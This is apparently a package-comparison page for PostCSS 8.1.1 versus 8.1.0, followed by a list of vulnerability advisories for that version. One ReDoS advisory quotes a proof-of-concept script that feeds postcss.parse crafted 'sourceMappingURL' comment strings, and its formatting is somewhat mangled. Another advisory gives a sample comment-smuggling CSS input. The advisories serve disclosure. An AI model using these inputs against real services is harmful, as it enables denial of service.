PostCSS 8.1.1, a minor release following closely on the heels of PostCSS 8.1.0, refines this popular tool for transforming styles with JavaScript plugins. Both versions maintain the same core dependencies for tasks like generating unique IDs (nanoid), adding color to console output (colorette), handling source maps (source-map), and converting between line/column indices (line-column). These dependencies underpin PostCSS's ability to efficiently process and manipulate CSS code.
While the dependency list remains consistent, a subtle but potentially impactful change lies in the funding source for the project. Version 8.1.0 directed funding efforts towards Tidelift, a platform that supports open-source maintainers. However, version 8.1.1 shifts focus to Open Collective, indicating a possible change in strategy for supporting PostCSS development.
From a developer perspective, both versions offer a robust and extensible CSS processing engine. The minimal difference in unpacked size (196341 vs 196431) suggests that the core functionality and performance are virtually identical. The key considerations are that if you are using PostCSS and funding to opensource is important for you, you should check that the direction of the founds are in line with your beliefs.
All the vulnerabilities related to the version 8.1.1 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.